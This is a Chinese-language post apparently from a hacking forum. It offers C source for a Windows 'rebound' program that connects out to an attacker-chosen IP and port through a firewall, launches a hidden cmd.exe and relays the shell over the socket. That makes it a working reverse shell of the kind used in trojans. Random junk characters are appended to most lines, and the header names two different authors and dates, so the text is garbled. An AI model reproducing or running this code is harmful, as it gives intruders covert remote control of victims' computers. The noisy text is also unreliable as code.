这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3 z{5c
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/* ============================== UH.}B3H
Rebound port in Windows NT nOL 25 Y:
By wind,2006/7 fTi{oY,zTg
===============================*/ OGD8QD
#include Oujlm|
#include
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#pragma comment(lib,"wsock32.lib") LgD{!
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void OutputShell(); _sCJ3ZJ
SOCKET sClient; Wtzj;GJj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +p%5/smfs
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void main(int argc,char **argv) ,EGD8$RA]
{
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WSADATA stWsaData; Ke;X3j ]`
int nRet; 5;i!PuL
SOCKADDR_IN stSaiClient,stSaiServer; UHsrZgIRYT
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if(argc != 3) ytcG6WN3
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printf("Useage:\n\rRebound DestIP DestPort\n"); W>
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return; 7.Kjg_N#Tr
} e*'|iuDrY
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WSAStartup(MAKEWORD(2,2),&stWsaData); wshp{ y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +H m+#o
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stSaiClient.sin_family = AF_INET; ~jCpL@rS
stSaiClient.sin_port = htons(0); 8BoT%kVeJv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6XxG1]84
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .]sIoB-54
{ \i;~~;D
printf("Bind Socket Failed!\n"); 7AFS)_w
return; CFS3);'<|
} /B#lju!
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stSaiServer.sin_family = AF_INET; K
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >[P7Zlwv4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ws=9u-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +68K[s,FD
{ +h vIJv ?
printf("Connect Error!"); "!_
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return; U(&nh?
} '|A5a+[
OutputShell(); xvz5\s|b
} ;
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void OutputShell() A%czhF
{ yU8Y{o;:
char szBuff[1024]; QmkC~kK1.
SECURITY_ATTRIBUTES stSecurityAttributes; 8UY=}R2C
OSVERSIONINFO stOsversionInfo; pQ-^T.'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 36A.h,~
STARTUPINFO stStartupInfo; oTV8rG
char *szShell; SAxa7B/U2
PROCESS_INFORMATION stProcessInformation; #* /W!UOu
unsigned long lBytesRead; g KmRjK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^@5ui;JV
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5\kZgXWIh
stSecurityAttributes.lpSecurityDescriptor = 0; Y"
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stSecurityAttributes.bInheritHandle = TRUE; AqKx3p6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jvQ+u L
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C.e|VzQa
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %LZM5Z^
stStartupInfo.wShowWindow = SW_HIDE; D>#v 6XI
stStartupInfo.hStdInput = hReadPipe; iYQy#kO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YU0HySP:
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GetVersionEx(&stOsversionInfo); HF=C8ZtlL
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switch(stOsversionInfo.dwPlatformId) jl0Eg
{ r-Xe<|w
case 1: xS-nO_t 'E
szShell = "command.com"; 8sjHQ)<
break; 6l]?%0[*
default: 88=FPEU
szShell = "cmd.exe"; 8cPf0p:
break; I%b:Z
} $cpQ7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =28H^rK{
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send(sClient,szMsg,77,0); 2yO)}g FJ
while(1) HNUR6H&Fta
{ w7?9e#>Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :a!a
if(lBytesRead) @DC2ci
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{ h|uP=0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e^Wv*OD'
send(sClient,szBuff,lBytesRead,0); .O-DVW Cm
} 9X&qdA/q
else S^`9[$KH0
{ Ty|c@X
lBytesRead=recv(sClient,szBuff,1024,0); F*( A; N_y
if(lBytesRead<=0) break; h)RM9813<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H_f2:Za
} <WKz,jh
} dv}R]f'
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return; ^F0jI5j ).
}